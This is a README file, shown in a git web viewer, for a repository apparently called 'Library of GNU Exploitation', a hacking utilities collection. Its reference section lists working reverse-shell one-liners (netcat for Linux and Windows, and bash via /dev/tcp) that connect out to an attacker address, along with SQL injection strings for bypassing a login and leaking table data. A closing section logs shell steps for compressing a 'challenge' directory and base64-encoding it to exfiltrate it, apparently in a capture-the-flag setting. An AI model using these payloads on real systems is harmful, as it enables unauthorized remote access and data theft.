summaryrefslogblamecommitdiffstats
path: root/README.txt
blob: 5d8a0460ac0aacfbf998dade5820c83e0ee7baab (plain) (tree)
1
2
3
4
5
6
7

                           


                                                               

 






                                                            























                                       
Library of GNU Exploitation
===========================

This is a collection of unix-like utilities particularly suited
for creative problem solving (H A C K I N G).


Reference
---------
nc 10.0.0.1 1234 -e /bin/sh # Netcat reverse shell (Linux)
nc 10.0.0.1 1234 -e cmd.exe # Netcat reverse shell (Windows)
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # Bash reverse shell
' OR 1=1-- # SQL inject (pass)
' OR 1=1 UNION SELECT x,y,z FROM table-- # SQL inject (leak)



**How not to exfil a directory**
  $ zip challenge/
  $ gzip challenge
  $ ls
  $ ls challenge
  $ rm challenge.gz
  $ man gzip
  $ exit
**Log Back In**
  $ gzip -k challenge
  $ ls
  $ base64 challenge.gz
  $ exit
**Log Back In**
  $ rm challenge.gz
  $ tar -czf challenge
  $ ls
  $ tar -czf challenge.tar.gz challenge
  $ ls
  $ base64 challenge.tar.gz
  $ exit